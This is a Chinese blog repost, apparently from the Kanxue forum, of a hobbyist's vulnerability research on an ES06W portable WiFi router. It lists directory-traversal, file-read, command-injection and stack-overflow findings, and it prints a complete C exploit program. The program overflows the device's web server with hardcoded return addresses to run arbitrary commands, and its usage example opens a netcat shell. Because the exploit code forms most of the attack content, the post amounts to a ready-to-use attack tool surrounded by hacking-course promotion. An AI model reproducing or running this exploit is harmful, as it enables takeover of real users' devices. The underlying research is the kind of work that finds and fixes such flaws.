扫码领资料
获入门教程
免费&进群
最近买了一个随时WIFI设备,正好自己在学习漏洞挖掘,于是拿这个练练手。
software_version = V4565R03C01S61
hardware_version = M2V1
product_model = ES06W
upgrade_version = V4565R03C01S61
一、目录遍历漏洞
二、任意文件读取漏洞
三、寻找命令注入漏洞
四、尝试找栈溢出漏洞
五、栈溢出漏洞利用
http://192.168.0.1:8080/aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHaIaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTbUbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccdcecfcgchcicjckclcmcncocpcqcrcsctcucvcwcxcycz
http://192.168.0.1:8080/aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHaIaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTbUbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccdc123DDDD
// ES06W-RCE.cpp :
//
#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib, "ws2_32.lib")
void ShowHelp()
{
printf("[+]Usage: ES06W-RCE.exe [Command]\n");
printf("[+]Example: ES06W-RCE.exe \"nc${IFS}-lp${IFS}4444${IFS}-e${IFS}/bin/sh\"\n");
}
int main(int argc, char** argv)
{
WSADATA stcData = {};
int int_ret = 0;
char str_recv[0x1000] = {};
char str_payload_final[0x1000] = {};
//
if (argc != 2) {
ShowHelp();
return 0;
}
//
int_ret = WSAStartup(MAKEWORD(2, 2), &stcData);
if (int_ret == SOCKET_ERROR) {
printf("[-]Init Failed!\n");
return 0;
}
//
char str_payload[] = {
"GET /aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHa"
"IaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbib"
"jbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTb"
"UbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccd"
"\xBC\x5F\xCB\x48" //Control R7
"\x94\x02\xD5\x48" //Return Addr
"%s" //Command
" HTTP/1.1\r\n"
"Host: 192.168.0.1:8080\r\n"
"Connection: keep-alive\r\n"
"Upgrade-Insecure-Requests: 1\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Language: zh-CN,zh;q=0.9\r\n\r\n\0"
};
sprintf_s(str_payload_final, 0x1000, str_payload, argv[1]);
//
SOCKET sock_client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sock_addr;
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons(8080);
sock_addr.sin_addr.S_un.S_addr = inet_addr("192.168.0.1");
//
int nErrCode = 0;
int_ret = connect(sock_client, (sockaddr*)&sock_addr, sizeof(sockaddr_in));
//
send(sock_client, str_payload_final, strlen(str_payload_final), 0);
//
Sleep(20);
recv(sock_client, str_recv, sizeof(str_recv), 0);
printf("[-]Recv: %s\n", str_recv);
printf("[+]Finished!\n");
closesocket(sock_client);
WSACleanup();
//
return 0;
}
作者:okCryingFish
来源:看雪社区https://bbs.pediy.com/user-home-780653.htm
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!